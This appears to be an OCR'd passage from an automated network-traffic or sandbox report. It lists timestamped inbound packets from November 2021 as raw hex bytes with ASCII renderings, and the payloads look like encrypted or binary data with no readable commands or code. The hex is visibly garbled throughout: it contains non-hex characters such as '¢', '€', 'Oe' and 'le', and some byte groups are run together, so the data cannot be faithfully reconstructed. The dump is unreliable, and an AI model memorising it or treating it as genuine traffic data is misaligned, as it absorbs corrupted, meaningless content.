8 2a 67 c2 e6 65 bb f9 19 6d 32 59 7c 57 01 7d a3 c7 d2 d8 e3 da fa 6f 01 20 61 c5 16 8b 09 78 d8 e5 19 09 37 72 1f c7
52 1f ¢5 4c 8c 5d 4b 02 05 94 ce 3c cf 76 12 d9 16 62 6¢
Data Ascii: &GI{"FQ*<%OBBks*h<cuC}Wbyu_n4YOXC)Y&Q3Vm$0T?Sc[dzu.N}!}F_>-*y=aBcC$WIPGGu;7*gem2Y|W}o
ax7rRL]K<vbl

2021-11-29 13:25:46 UTC 108 IN Data Raw: 15 98 a0 5¢ dd ab 00 ef 71 f4 db ec 9b fc dc 1e 03 €9 27 8a af 4e ce ee fb 60 d2 cd 8f a8 14 62 73 3c 3f f8 de fe
21 f2 df b1 00 60 42 29 c6 31 67 2b 74 46 24 38 c4 48 4f e4 cf ¢3 16 f4 04 e2 7c d1 6f cd 36 51 0f 29 b4 ad 62 62 37 f4 f7
95 8f 08 9b 43 bd 98 93 59 86 b7 e2 3a c7 1c e8 fe 03 a9 46 bb 77 d1 0f 1f 51 d8 3d 75 05 e9 e6 76 4d 01 1c 9d 9d 53 cc
cc a3 94 30 d5 59 Oe b1l af 29 4e Oc a3 57 7a 2d f3 d7 ed f3 08 2c fa 7c 5d 6e 71 69 ff fb 76 ad 98 34 1c 7d 7b 29 73 08 b4
94 8b bb c1 bf 37 98 40 4a f5 a9 1c bb 2d fe 41 92 ¢7 53 d1 47 08 16 42 b0 7d e8 e3 16 40 b2 be 5f 7b c0 45 da ce 2b 25
03 ¢7 9d f9 b8 97 bb 6b 6c 9a cf 05 dc 65 c2 22 9f e4 a2 ef 72 ¢7 b5 8d 1c d7 89 25 e6 Oe c9 2a d1 31 bb b4 2e 85 76 le
6 2d 09 44 93 b7 53 60 68 e7 db 97 cc 8e 72
Data Ascii: \q'N"bs<?!"B)1g+tF$8HO|06Q)bb7CY:FWQ=uvMS0Y)NWz-,[Inqiv4}{)s7@J-ASGB}@_{E+%kle"r%*1.v-DS hr

2021-11-29 13:25:46 UTC 109 IN Data Raw: f1 a5 ¢5 70 1f d3 cO d8 d8 68 e7 63 e9 80 c0 6f ec 51 d9 ac 2c 0b 17 a0 e6 75 d9 Oe 8 55 2¢ 33 b0 53 83 65 €0
c6 2a 5 21 88 9f b5 66 08 44 7f a0 ea 5f cc 6d bd 49 25 5¢ 08 65 ad 44 53 2a 7b b4 9c ¢7 33 15 b8 43 ad Oe 6f 8e 12 8d
b8 50 05 f7 41 c2 4b 8b 9a f5 47 79 fb 3b cc ea 37 e7 1f cO 0d a8 30 6f 67 c2 ea 4f ba f9 03 03 33 58 6f 71 03 7d 8b c7 d2
d8 eb d8 fa 7e 17 a0 4b de 16 94 1e 86 d9 6a 1a 11 3c 7e 18 d1 ac le e9 4e 9b 54 4b 05 1d d3 ce 10 cd c7 10 f2 f5 33 15
ff bd f4 d2 a9 49 80 df 6f al e7 22 cb d7 3c 8d 94 79 0f a3 ea 40 21 f6 71 9c 6e ee 8d 2f 13 3a b9 1d 51 cd 10 55 90 7d 00
3885 7118 84 2b 9e cc 5d ee 75 ad 64 €0 c3 5¢ df a2 67 55 b3 2e ae 91 3e 3b b8 18 08 52 b6 78 f5 9c dd 6b f3 fa 9c bd
93 db ac a7 3e cf 07 1d ff 98 64 dd 65 b8 55 al
Data Ascii: phcoQ,uU,3Se*!fD_mlI%\eDS*{3CoPAKGy;700g03Xoq}~Kj<~NTK3lo"<y@!qn/:QU}8qg+]ud\gU.>;Rxk>deU

2021-11-29 13:25:46 UTC 111 IN Data Raw: af 5b €8 70 d7 25 1e 42 dd 30 71 13 c3 16 6a 4d 38 €9 8c 95 47 d8 d8 8b 37 30 d5 53 41 67 af 3c 5e 20 al 7d
59 la e4 ff ac f7 08 2a 02 f1 5a 7f 59 6f ee ef 64 f6 80 36 1c 7d 63 09 ed b0 b6 92 97 3b b8 2c 37 99 5e 55 e8 ee dc bb 2d
fe 7a 24 ec Ob ca 69 d6 72 42 ba 4d 2 5e e9 bf b4 b9 73 8e ba d6 dc d8 ac 4d 1a c6 9c e7 80 af 82 cc 44 92 c0 2d 80 Oa
02 2a 95 30 9a 7b 5a fO bf al 04 cb 9b 07 c7 33 c9 2c b4 2f b9 b2 Oe ea 63 1le b7 3b 02 55 97 d8 92 62 68 ed dc bf da 8¢
72 fa 91 af 86 5¢ 38 72 83 80 66 66 25 4f cc ¢7 97 86 20 9a bb 07 27 33 44 93 f0 32 b4 33 82 79 79 ec a3 df 39 b8 71 34
bf c8 8d 6e bb a6 e4 38 3b 87 d7 94 78 32 1d 36 0f 6b 98 24 50 61 c7 06 ba 56 af 50 ad 58 ee 3e a5 63 77 90 e7 da 4c 68
48 d7 db 72 20 46 37 b4 d8 5f ba d3 ¢8 5a b3 86 32 75
Data Ascii: [p%B0gjM8G70SAg<” }Y*ZYod6}c;, 7"U-z$irBM" sMD-*0{Z3,/c;Ubhr\8rff%0 '3D23yy9q4n8;x26k$PaVP
X>cwLhHr F7_Z2u
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 112 IN Data Raw: 75 a8 30 21 6¢ c0 ec Oa 71 fb 03 67 28 42 79 08 {7 7c 8b c1 fa cf ea da fO 56 40 29 4a d8 3e a2 1c 86 df a6 63
11 3c 7815 d3 aa 71 23 4¢c 9b 5¢ 54 09 07 7d a0 e4 cc 5d 16 e4 dd 72 16 ff b7 ee d5 81 58 85 df 69 ce e5 13 c2 dd f0 38
95 79 e3 8b f8 54 3f 7d 57 95 46 fc 9b 26 66 fe a0 1c 5b d4 3a 48 9f 41 3c b9 87 77 36 b7 a6 99 c6 50 ed 60 cc bf ec d5 47
c9 38 6¢ 4d cf d5 be 9e 2c 07 b8 94 27 58 9e 2e e4 8¢ ca 53 cb ef 00 aa ec b4 84 00 34 e7 38 39 ee 82 61 4a 5e b4 4c 96
9e 61 be 36 eacl 2c c5 75 a0 37 66 7d 20 4f ab 09 41 12 9c fb d4 69 a7 d8 a9 54 42 87 70 52 48 26 7f 49 bc 6d e9 24 77
ea 5e 24 0a 05 1f ef 76 fe d6 24 c8 15 88 9a 40 e2 04 Ob 7a 47 ba 9e d7 38 4c 2b el e8 a8 30 30 f0 a7 13 4b 72 df 6d d1
a2 c9 94 89 5b d0 e7 Oe 2f b3 ee 63 74 03 fd c5 38
Data Ascii: u0!lqg(By|V@)J>c<xg#L\T}|rXi8yT?}WF&I:HA<w6P G8IM,"X.S489aJ"La6,u7f} OAITBpRH&IM$W $v$@
zG8L+00Krm([/ct8

2021-11-29 13:25:46 UTC 113 IN Data Raw: f9 bb dd f4 ab 21 8d 70 95 f5 7a 59 80 cc 73 a4 d6 26 86 74 c9 37 bc c4 b3 e6 51 83 b5 8f 16 dc 8c 28 d1 1c da
21 db fe b0 ab fa 84 5a 12 a1 32 87 3 84 6d 40 69 65 fd c8 9c 3f 9e 79 e3 c7 c2 87 70 3e Oc f1 9a 26 ab 2c 5e ca b7 d8 95
2b 90 87 93 e7 c1 54 b9 cc 32 ca cf ec 2e 7f fa €9 b5 3d b2 af 3e 93 f3 bl 6e aa a7 e8 Oc ed 8c fe 9f 7d 31 22 d8 9e 78 96
e5 62 74 e6 07 b7 5d b0 77 53 41 ¢2 71 27 Oc 87 91 e7 dc 4b 07 b4 d6 db el da 97 20 ae d2 48 61 a7 2a 50 b3 36 3a la
8a 21 f7 a4 af 76 63 d2 ef 07 d6 59 87 97 1c 2f 1b el 81 05 4e 54 41 2e 79 ef 8¢ a4 40 c3 b7 cf dO 3e a2 23 23 26 bc 52 f3
9c 43 5¢ a3 d2 63 b8 5b 1f f3 de 09 18 13 Oc 36 b4 88 f2 81 €9 7e eb c6 fb 07 4c be 45 el da 8a a6 1f 44 9e 7c 77 ad 1c
la al 8a 78 1b 58 4f cc f9 5a 4c 3e df Of 5f e9
Data Ascii: IpzYs&t7Q(!Z2m@ie?yp>&,"+T2.=>n}1"xbtlwSAQ'K Ha*P6:IvcY/NTA.y @>##&RC\c[6~LED|wxXOZL>_

2021-11-29 13:25:46 UTC 114 IN Data Raw: 2c d1 f2 15 be 55 1e 61 d0 Of 14 5d cb 3f 7a 13 dO 1d 6d 0d f9 bf a0 88 44 d1 cO 5d 3f 26 c4 57 Oe 11 ae 29 4e
3f e0 6f 49 2a f6 f4 1f c1 f6 2b cO fd 4b 64 6d 28 43 13 9d 7a 24 03 0f 7c 6f 10 89 13 8e 6¢ 9c 1a d7 b8 58 65 55 5e e7 90
b7 d4 fd f6 69 28 d8 68 c8 64 b9 07 49 a5 68 78 1d c5 b2 b6 24 c0 80 dc 93 06 cb a2 3d 33 d4 97 ed bd 88 8c ff 92 9b €9
26 f5 65 c0 28 93 29 ba d5 62 e3 be 8d 07 d1 80 34 30 37 e5 21 a8 ef b9 b2 02 96 70 01 ab 22 02 44 82 bc 4c 78 96 €6 7
99 36 98 a4 ff €6 2b 50 cd e4 10 e4 99 75 67 2e 4f c1 b7 e0 78 21 bc 85 9b fO 28 83 04 cb ef b2 €3 60 05 79 ec a8 0f 21 a0
bc2a9afl bl 71a552f6 11 02 8a bd 68 7f 38 33 1f 09 04 42 f8 50 6d f2 18 b5 5d af 43 a6 5f c4 ad 21 4f 77 81 e0 c0 23
91 49 d7 dd f8 9e 55 29 ae c9 54 a4 e3 06 53
Data Ascii: ,Ua]?zmD]?&W)N?ol*+Kdm(Cz$|olXeU"i(hdIhx$=3&e()b407!p"DLx6+Pug.Ox!('y!*qRh83BPm]C_!Ow#IU)TS

2021-11-29 13:25:46 UTC 115 IN Data Raw: 33 e5 11 ¢6 70 e2 31 2b 63 c0 e8 le f3 f8 03 69 5d 61 6e 67 09 11 a8 c7 d2 d8 eb da fa 5e 57 70 62 4f 16 8c 14
31 a4 8a la 11 38 70 1la aa ef 1f €9 4a 8c 8c 5¢ d3 90 41 cf 10 cc 20 55 f3 f5 64 3d ff bd e2 c1 99 4c 80 a0 6e al fc e5 c2
d7 d8 99 87 7c db ca eb 51 3f 7b 4b 99 76 11 9f Oa 6e 92 ae c7 4c 08 9b 6f 96 69 29 b0 9e 62 1b 93 b7 9c d3 54 11 67 8f
73 e6 ff 52 dc 13 73 5b b1 24 a5 60 2b 03 be 97 5¢ 15 b7 79 e2 8e b7 3d e4 ed 04 76 89 d7 97 05 3e de 08 25 10 89 5e 5f
4b a5 3f e8 ce 60 ba 35 2d bb 68 bf 42 a5 28 6b 01 ee 4d ba 06 82 f4 45 cO Ob 68 7c 4f af 51 42 97 66 44 54 ¢9 79 72 50
5a e8 24 71 fe d0 27 0a Ob c7 8¢ e8 €8 Oc 33 d1 10 84 99 4d 2 0d 10 72 47 cO b6 1c 3a 48 37 c1 f3 a0 e8 03 5b f0 18 53
ae 00 73 10 c0 05 5b 89 5d f8 3 06 5 aa c2 36 74
Data Ascii: 3p1+cilang"WpbO18pJ\A Ud=Ln|Q?{KvnLoi)bTgsRs[$ +\y=v>%" K? 5-hB(KMEh|OQBfDTyrPZ$q'3MrG:H
7[Ss[]6t

2021-11-29 13:25:46 UTC 116 IN Data Raw: b5 ab 7f 9e 49 42 dc d8 a7 31 04 d6 9b fb bd 86 1f f7 6¢ 9a c4 8f 97 62 d6 00 39 3a b2 c0 72 1d b4 8d 1c f2 42
2d ce 3c 55 35 d6 fc b6 b2 15 88 6b e0 b6 1d 07 5¢c 91 cc 19 61 68 e3 c8 9e 2c 8b 6¢ ef e2 3¢ 97 51 2d 13 05 81 4a 66 3f
5b db a2 c0 22 3f 9f 85 95 f9 2e 58 8a c4 cbh a4 19 e0 3f 7d fd a0 3d a7 4c 50 de 85 f9 a9 63 bb bd fa 22 1c 73 d3 b8 74 3b
Oc 98 0f 6b 92 e5 40 74 e0 07 b7 5b b0 58 53 41 c2 42 36 61 00 d3 e6 da 48 7f 92 c4 d1 f4 b0 59 29 bd d5 5f aa c5 el ac
b2 10 2c 77 Oe 69 f6 a2 b4 46 79 ad 6e 16 dd 47 a8 6b 66 4a Oa fO 8d 88 fO 6b a2 be 16 1e 97 b7 4b dc 9c d1 c4 2a 4d 29
10 21 53 55 ¢8 0a 6¢ 52 93 bd 90 b5 44 Oc ff d9 1a 02 1e 05 c3 aa 87 1b 82 be 3c e9 cf €8 5f 6a b7 97 e9 24 8e 7b 92 7e
95 63 54 5e 04 25 a5 b2 73 17 47 5e 2d db 65 4d 2f
Data Ascii: IB1Ib9:rB-<U5k\ah,|<Q-Jf?["?.X?}=LPc"st;k @t{[XSAB6aHY)_,wiFynGkfIkK*M)!SUIRD<_j${~cT"%sG"-eM/

2021-11-29 13:25:46 UTC 118 IN Data Raw: b8 9d 17 df 16 40 bc 77 3b 8¢ 82 71 b9 93 a6 99 37 5d ef 77 b5 66 eb fe Oe d6 11 73 42 5e 20 93 9b 3e 05 b5
86 22 52 a7 7c fe 72 cd 57 eb ef 6f 65 83 cc 8e 18 63 d9 23 1e f7 9b 77 4d 58 a2 53 50 ce 4c bd 2e e8 c3 2e af 47 b7 c9
63 3e e8 5a b8 06 9b 1b 41 f6 fO 7f 5d 57 97 56 69 3d 61 34 97 37 78 41 ab 79 e8 24 73 85 95 26 Oa 4f 9e d4 ae e9 Oc 37
d9 06 72 8e 21 db 9c 1a 70 4f Ob e6 cb b7 67 21 €9 f8 ab fe 2f a8 01 Oe 89 b9 0d 78 ed ef 3f 9c 91 85 0 9f e0 2f b9 cc 38
71 0a f3 cd 15 b7 b0 6a 44 48 3a 04 74 ff 4c 7f b5 ac a9 e5 fb 3f 32 0a 9e 28 42 04 ac 2b 4d 73 c0 cc f8 32 eb f4 b6 ff e9
2d 9c ad 75 27 d2 50 66 c4 40 88 b9 11 7d 99 29 07 e7 ff 4e {7 ff ca 9e 38 3f 45 2c eb c¢7 9d 2a 5e 55 82 7d d8 5b 4b fO ca
d2 22 a9 05 ce 7e d4 43 2a a3 5d 14 2c 3c aa 73
Data Ascii: @w;q7]wfsB” >"R|rWoec#WMXSPL..Gc>ZA]WVi=a47xAy$s&O7rpOg!/x?/8qjDH:tL?2(B+Ms2-u'Pf@})N8?
E,*U}[K"~C*],<s

2021-11-29 13:25:46 UTC 119 IN Data Raw: ed a9 09 2f bb b9 09 be e5 ba 68 d4 26 f6 3d 15 e2 4a 94 7e 32 3e 1f Ob 63 fd 0d 51 67 b 0a b7 51 bb 7a 42

44 ee 55 37 ee 7c 90 e7 db 5f 76 59 ¢9 cd cf 90 43 22 a8 7a 4e a5 dc ec 46 9b 9f 32 75 7f 31 f0 b6 98 bf 74 d9 e9 01 50 41
be 69 1c 10 14 e1 96 10 6f 65 92 bf 10 b6 9c bb 52 c8 99 4 78 3e b3 22 14 12 40 53 d5 b8 f5 43 93 b7 a3 74 5a 19 ec dd
0e 3b d0 1e 3d ad bc 81 87 ¢5 75 €9 dc cc cO fd bb 57 72 ¢1 99 ad 1e f7 84 43 41 47 09 1e Ob b2 62 10 4¢ 67 10 d9 49 41
29 43 03 40 fc 8e b8 5b 22 77 1a b0 f1 1a Oa bb 33 8d 93 1f cf ¢6 ¢4 dd 06 c3 1f a3 c5 e8 11 b4 el e0 74 6e af e7 6f ed 48
f0 63 24 Oc 11 43 1e 75 d9 05 60 3d f1 d8 5b 99 bd d7 f1 b3 1b e1 09 4a b0 b9 71 e bc 43 a0 ea 5f b0 19 ac 6a 39 96 ac
af a9 44 54 a2 6d bd 88 d3 27 7c 7f 43 ad 06 7b a6

Data Ascii: /n&=J~2>cQgQzBDU7|_vYC"zNF2u1tPAioeRx>"@SCtZ;=uWrCAGbLgIA) C@["W3tnoHc$Cu =[JqC_joDTm'|C{

2021-11-29 13:25:46 UTC 120 IN Data Raw: 37 63 cb 8b 5b e8 20 0d c9 94 26 Oe 05 18 01 ac 9 Oc 12 f1 31 82 b1 72 e0 1f Oe 7a 6d 84 f1 1d 30 91 c3 eb 9
a0 ea 00 01 b3 19 55 82 2d 75 c6 c7 15 a4 89 5d f2 c9 c6 2d b9 c6 22 fb 28 fb ed 17 a6 ab 68 44 8d 3d 04 78 ff 8b 7d b5
ac 46 1f ed €9 39 10 9b 3d 67 b2 5a 00 4d 66 9f 29 fa 8d el 7 93 3b €7 2c 8d bb 74 07 c2 1c 64 c4 4a 04 82 14 63 7c 3b
37 fe ea 4d 09 da d1 97 2d 2c c8 3a ee dc 62 3f 66 44 81 9c c4 48 44 d8 f3 d2 3e 51 12 ca 9e c¢7 47 29 23 4d 1d 17 11 ae
62 64 20 6d e4 81 a7 aa 8f 57 a3 98 21 59 86 b7 c6 1b d6 34 01 ec 2b 47 53 36 7a f9 e6 1c 42 d6 3d 6d 07 €9 3e 76 4d 01
a8 01 9e 47 d8 d9 9f 23 24 fd f0 26 00 a5 01 6e 25 al 7a 54 02 Of fd 00 fd 20 c3 ee f1 50 46 c0 68 eb e5 4e 98 2a 28 08 5f
€8 02 82 0a a2 1f 9a 36 c6 be 23 8d 40 76 42 81 bf
Data Ascii: 7c[ &1rzmOU-u]-"(hD=x}F9=gZMf); ,tdJc|;7M-,:b?fDHD>QG)#Mbd mW!Y4+GS6zB=m>VMG#$&n%zT PFhN*
(_6#@vB

2021-11-29 13:25:46 UTC 122 IN Data Raw: d2 2f b9 3f ea 40 ae 51 df 9a 2b ¢4 92 bd 90 al 34 91 ed d4 10 7c 9a 1c 3d al b8 08 9f d0 66 ff cf fd c6 c2 b7 bf
ff d2 b7 bc 0d 3a 69 62 55 55 0b 59 7a b0 62 10 37 b3 d2 da 4f 50 51 1c 06 40 f6 e0 57 7b 33 50 1b c9 af 27 0a bl 5d d1
83 3e dd c1 c3 ea be d0 08 a9 c0 d7 cd ba 1f e7 4f f4 b9 e2 47 c7 5e d2 74 2e 3e 06 cf 2b 5d 4c 04 c2 26 c0 c4 50 83 86
63 fl a2 06 ea 06 77 b2 95 7d 08 3b 5d 76 f9 54 bc 12 ae 5e 2f 91 37 89 57 45 79 09 02 0d 9c c¢7 39 58 c6 50 ba Oc 7e 99
0d 86 46 51 29 f0 47 d3 5b dc 82 f4 47 7f e4 1c df fd 37 f6 08 dd 25 56 31 07 6a d3 e0 74 ad c7 51 6¢ 32 58 70 4e 10 6a 8b
d6 c5 c4 15 db d6 78 15 38 5f ¢3 05 9b 1e 97 ce d6 00 ef 3d 5e 3b cO be 71 15 4f 9b 50 5d 6a cf 68 cf 1a a2 al 1123 78
78 2d bf e2 d8 c6 b7 81 df 69 b2 ed 0d de c4
Data Ascii: /?@Q+4|=f:ibUUYzb7O0PQ@W{3P'|>OG"t.>+]L&Pcw}; VT 7TWEYIXP~FQ)G[G7%V1jtQI2XpNjx8_=";qOP]jhxx-
i
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kBytes
Timestamp transferred Direction Data

2021-11-29 13:25:46 UTC 123 IN Data Raw: Oa b7 03 ef 3e 82 aa 6b 4d 16 fa 66 c2 56 €7 7a 16 63 6d 47 d7 ee f6 5f 39 9d 07 95 2b 30 2a c3 ef dc 65 38 7c
41 a7 41 88 49 4e f4 ca d8 16 4b 06 e2 70 d6 4c 50 10 53 09 39 2a ba 73 72 3e 8f ch 83 a7 ad 8a 53 a6 bc aa 74 83 bd e8
lafd 36 07 fc 2b 44 53 36 7a be 2b 1c 42 da 3d 61 02 ca 3e 5f 48 07 b8 a4 b7 45 d8 de a3 dc 32 d5 59 49 26 ad 29 42 31
b1 7f 2d 00 e5 ff 06 f1 19 3a 83 €9 5b 6e 7b b6 e4 ca 4a b2 3b 34 16 64 7b 29 ba Oc b4 98 43 36 d7 b5 20 4f 47 54 0 8b
ae ac 13 81 97 dd 38 42 ce 78 6f 05 57 ab 52 97 Oa 67 08 8a 41 8a 76 3b 43 f6 d8 e7 16 03 c7 9c ed ac 83 c0 c8 6¢ 9a ce
2d 86 65 9c 28 95 3a a0 ca 5a f0 af 8d 16 db 9f 2f ce 36 54 2a db ef d6 b3 04 85 7c 1c b7 31 06 44 93 b7 49 60 68 e6 cO
a7 36 8f 28 fd ef 3c 83 5d 32 Oc f9 8a 64 7a 41 bf cb
Data Ascii: >kMfVzecmG_9+0*e8|AAINKpLPS9*sr>St6+DS6z+B=a>_HE2Y1&)B1-:[n{J;4d{)C6 OGT8BxoWRgAv;Cl-e(:Z
/6T*|1DI'h6(<]2dzA

2021-11-29 13:25:46 UTC 124 IN Data Raw: fe 6e ec 5b c2 72 06 1a 1c cf 21 74 83 06 3c 39 9f cc 4f 8f 97 77 8c c¢8 10 5 25 8b b7 c4 Ob 18 31 40 8a ea 4d
93 3e bd a3 2f 80 20 98 a8 44 44 02 82 8b d1 c7 33 56 de 3d 98 Oc 6f 8a 6f de b9 50 01 fe 91 8f 4b b3 98 dd 53 75 fb 31
e4 ea 36 e7 15 bf 70 a9 30 2f 64 d6 14 64 ad 07 02 67 34 74 42 65 00 f3 3c ba 52 d9 eb de f8 7c 6¢ ab 4b de 12 a4 46 84
d9 ¢3 66 6e 3d 72 1c d2 ba 1c 92 31 9a 56 4f 07 66 ea ce 10 c9 75 fd fO f5 6a 13 eb 43 e3 c4 57 48 8b d8 43 8c fe 16 4c
60 b4 0d 95 79 e7 al e8 2a bd 7a 5a 98 46 b7 9c 26 6a ec 38 1c 5b da 12 52 94 12 a9 bd 87 75 1c e8 24 98 cc 59 c7 8b
al 75 e4 d0 59 28 01 60 a5 al 2d b7 b2 6d 2d aa 1b 90 2f 32 78 e6 88 ce 79 9e 69 01 ac 87 e4 dc 02 3e c5 70 b8 ef 88 76
48 5f a5 3f 2d ce 60 ba 34 80 42 2f be 46 89 da 60 12 el
Data Ascii: n[rlt<90w%1@M>/ DD3V=00PKSu16p0/ddg4tBe<R|IKFfn=r1VOfujCWHCL y*zZF&8[Ru$YuY (*-m-/2xyi>pvH_?
-4B/IF

2021-11-29 13:25:46 UTC 125 IN Data Raw: 78 6b 1d al a4 83 6f f5 da 8b 31 1a 83 2d bf 01 af 2d 5f ba 84 51 48 Oc fc e0 2c ed 20 07 ee f1 5¢ 44 2b 16 72
ee 62 81 27 ae 39 5a 64 27 9e 13 84 8d 91 1e eb bd 37 9f 7e 04 9f 18 be bb 29 €9 3 07 ea 58 fd 72 a6 2a 5d b5 6f ab 1e
€9 b9 9f f0 09 10 c5 45 d8 c6 3¢ 07 2e cc ba f3 b3 c8 8¢ ¢5 44 b7 ¢7 2d 80 4f a0 56 Oc 3b b2 ce 45 f9 2f a8 3b d6 b9 30 c7
2991 35d7 ¢7 96 b0 04 83 5¢ 7c c9 a8 08 44 97 a8 59 fa 4d ca d7 b1 20 85 6d 98 f0 37 ae 71 30 1d fd aa 38 12 b7 5f ca
ac ee 8d ba b5 bb 93 df 20 5e 8a b3 2c 8d 18 ef 2e 7f c6 cb 7d a7 b3 af 25 85 ec 20 4b 96 a0 d1 22 1f 92 a0 8b 62 10 18
Oc Of 6d b8 94 2e fe ec 07 a2 49 a2 c8 88 6d el 75 3f 6e 5b 1le e7 da 4c 77 42 ff f6 e5 b5 40 08 c0 a6 c6 ba c8 fc 4d bd a6
17 58 7a 06 €8 ac 90 c8 70 d9 ef 09 d7 6e 93 6b
Data Ascii: xkol--_QH, \D+rb'9Zd'7~)Xr*JoE<.D-OV;E/;0)5\|DYM m7q08_ #,.}% K"bm.Imu?n[LwB@MXzpnk

2021-11-29 13:25:46 UTC 127 IN Data Raw: 6f 63 1c 48 11 e2 ff d6 cd c5 cf 5e 93 29 4a de 08 a4 33 84 d9 cf 31 7b 42 eb 19 d1 a8 01 df d4 be 7b 45 23 02
5c ef 9c cf 5d 10 ea dd 4d 15 ff bb c8 b8 d7 d0 81 df 6b be cb 88 e7 fa c7 a9 8b 4e c3 2d e8 51 3f 62 72 b1 6c ef 98 Oc Oa
ef 20 1c 5b da 09 7c Oc 4c 05 b2 al 6e 26 b3 37 9b cc 5d f4 4e 8e 77 ee d3 67 bc 7e ef 5a a0 25 a0 a7 b0 0a 82 9b 01 4d
8f 59 70 8e cc 7b f9 c5 2d ae 83 ca ae 6a 40 56 Oc 3b ea 97 48 d7 6¢ 8a 4a 88 d0 5a 9e aa f9 c6 2e a3 6a 8¢ 35 62 14 cl
27 d59a 9a 0a 40 3 35 e4 54 78 b2 72 5d bd 43 8 5¢ 37 78 52 ef 77 ea 24 75 af fb 58 93 Oe c5 f3 bl d5 96 12 f4 09 a4 ae
44 d3 ab 18 70 45 a3 8 35 17 4e 21 ef d3 ca 96 b1 27 b6 1d 4c 97 93 50 eb c3 1b 8a b4 7d 57 f2 0f 2f ae ee 19 74 03 fd c7
7c cb 29 6b 6¢ ae 27 3a e4 f2 82 73 93 b9 Ob
Data Ascii: ocH")J31{B{E#\|MkN-Q?brl [|[Ln&7]Nwg~Z%MY p{-j@V;HIJZ.j5b'@5Txr]C\7xRw$uXDpESN!'LP}WI/t|)kl":s

2021-11-29 13:25:46 UTC 128 IN Data Raw: 08 ba b1 29 86 65 dd 08 bd 17 b0 ca 5c da df f3 8f db 9f 2b d1 53 53 0f f6 e1 9d ad 61 a5 e2 1a b7 31 15 6c be
b5 53 66 42 89 a5 Oe 3e 8f 76 €3 89 a6 a3 71 3d 3b e4 e6 46 f6 2a 5e ca b7 el ae 0d 92 96 9e d3 55 2b Oc dd 35 al 2a 8a
b4 5c c1 a7 25 21 d5 8f 8b 9e e0 ba 75 93 81 5 3d 15 a7 bc ea e7 39 35 0a 10 03 08 df 7d 68 cb 18 ce 76 00 56 ad 40 f1
5c 08 4e 79 90 el f0 26 16 d1 d6 db e3 aa 2f b8 8b f5 51 9d d7 91 72 0d 38 32 75 6e 08 da a0 b0 56 5a b7 91 8f dc 46 ba
76 77 99 2e dd 86 20 58 29 b7 7c 12 14 8d bb 63 f4 a0 de db 38 99 46 42 b6 43 53 db 8f 2f d9 b6 90 95 9f 44 72 cc 3c 1e
13 13 02 36 83 86 Oe 80 c3 5f 86 b1 75 dO dd a9 5e 92 64 bc 80 10 73 8a 0f 75 a0 19 36 a8 ad 77 32 75 4d d3 dc 63 2d 40
57 05 40 8 90 c6 e0 16 7b 02 80 62 48 2a b3 37 2f 82
Data Ascii: )e\+SSallSfB>vq=;F*"U+5*\%!u=95}hvV@\Ny&/Qr82unVZFvw. X)|c8FBCS/Dr<6_u"dsuéw2uMc-@W@{bH*7/

2021-11-29 13:25:46 UTC 129 IN Data Raw: ef 62 83 e5 ee d5 4d 4c 25 5b 4a 86 01 2f 9e 2a 2f 8f e0 20 52 b6 63 ce al ce 7b e3 ¢7 82 d2 1a cd 84 04 1e 5e
0d 3b ee 12 57 60 58 81 64 3f cf 60 be 16 82 c1 2e be 58 89 1a 60 12 ed 67 29 7d 02 Ob 44 e8 2e ec 71 55 bc ce 67 ab 72
7d 7e a5 78 4b ¢7 7a 95 23 73 85 8d Oe 27 0d c5 f1 84 6b 72 ae d8 06 86 91 eb f3 0d 1a ea 60 91 e0 3b la df 21 €9 f9 80
97 2f 26 b6 04 7b 87 Ob 75 c0 e7 bf eb 10 5c f8 f4 2f bb b9 c6 34 ec 26 d6 fc 30 95 24 6a 6¢ aa 18 82 79 d7 af 63 9d 8b 37
eceac3bd 7d 16 2d 73 d9 8b 94 4d 60 f0 55 dd a0 fa d2 96 96 €9 2d 8d 9b e8 25 ea fb 71 ec 6d 8a a8 12 49 e5 56 b2 ee
6 5d 01 64 d5 97 2b a0 60 10 ff fa 43 bd 72 50 a9 1f 4b 4f 4e fO cc ff 13 55 04 e4 5c 47 39 ba 33 51 0d 1f ae aa 62 62 ac
c5 ce 90 81 8b Oc 43 b7 b0 a2 c9 81 bd ee 28 fb
Data Ascii: bML%[J/*/ Rc{";W Xd?". X g)}D.qUgr}~xKz#s'kr";!/&{uV4&0$jlyc7}-sM " U-%gmIV]d+ CrPKONU\G93QbbC(

2021-11-29 13:25:46 UTC 130 IN Data Raw: 03 69 12 fe 6f 67 03 e7 ae ea c0 fe cb 7c fa 7e 17 Ob 63 d6 16 8c 01 91 f1 e4 19 11 3a 58 9e af 35 1f €9 4a bb
1 4b 05 1d f0 ea 3d df 7b 30 55 f5 60 17 df fd ea d2 a9 56 89 f7 42 a3 fc 14 e8 51 b7 16 95 79 e7 83 42 51 3f 7b cO b9 43
fd b8 06 c8 91 b9 1d 7b 97 1e 44 96 76 38 94 aa 73 1e 95 8¢ 1b b2 c4 ee 66 a7 55 47 d5 4d d6 9a 53 76 bl 07 9f 37 2a 2f
af b5 7e 5a b6 79 fd a4 el 79 e5 eb 2a 2e fd 55 85 00 3a ef a7 3b ee 88 e8 68 64 b6 62 8e 65 60 be 36 db 98 26 be 42 bb
1f 4f 10 eb 4b 81 81 e5 93 45 ec 0a 5e da 55 bc 54 d8 a3 4e 4a 78 17 d3 4b c7 5a c8 46 7b 85 95 38 22 22 c7 f7 a8 c3 8e
49 40 07 82 b5 58 5f 0d 1a 70 df 99 dc Oc 1c 6¢ 8d €9 f9 a0 c8 42 2e b6 19 4a 82 24 77 c6 cb 17 13 f7 ¢4 f9 fO Ob Of 14 c6
34 76 99 de c0 04 93 90 c7 6¢ aa 38 24 13 df af
Data Ascii: iog|~c:X5JK={0U"VBQyBQ?{C{Dv8sfUGMSv7*/~Zyy*.U:;hdbe 6&BOKEAUTNIXKZF{8"I@X_p|B.J$w4vI8$

2021-11-29 13:25:46 UTC 131 IN Data Raw: 2a fd 0a c9 6¢ 9e e5 e0 86 65 c2 b2 b0 17 a0 ec 7a 3d b5 8d 16 fa 04 25 ce 36 d6 09 f3 c2 b9 b2 02 af f0 60 2e
3009 40 b3 79 53 60 68 7d fe ba 2d a9 52 32 ef 3c 86 7c 8¢ 17 fb 80 79 4e 06 73 c8 a8 7 ac a6 ee 0f 99 f9 3b 75 5a dc 35
a5 af c8 03 6b ca 89 cc 3e b2 af 01 7a ea ba 6e a4 8e df 10 11 8d d4 be 8 46 ac 0Of Of 6f b2 2a 50 67 ed 9d 83 7b bd 74 8d
